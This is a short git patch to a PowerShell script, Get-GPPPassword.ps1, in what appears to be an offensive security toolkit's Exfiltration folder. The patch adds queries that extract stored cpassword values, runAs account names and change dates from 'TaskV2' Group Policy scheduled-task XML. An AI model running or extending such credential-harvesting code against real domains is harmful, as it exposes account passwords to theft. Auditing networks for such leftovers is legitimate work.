From f3fae0a15ea63f73d1cdc0aa0dd753bb7eb84e48 Mon Sep 17 00:00:00 2001 From: miketheitguy Date: Mon, 26 Mar 2018 15:22:33 -0700 Subject: [PATCH] Added support for Scheduled Task Type "TaskV2" Added changes to pull data for scheduled tasks of the type "taskv2" --- Exfiltration/Get-GPPPassword.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 0c03e0ad..a6973f56 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -170,8 +170,11 @@ function Get-GPPPassword { 'Scheduledtasks.xml' { $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/TaskV2/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} } 'DataSources.xml' {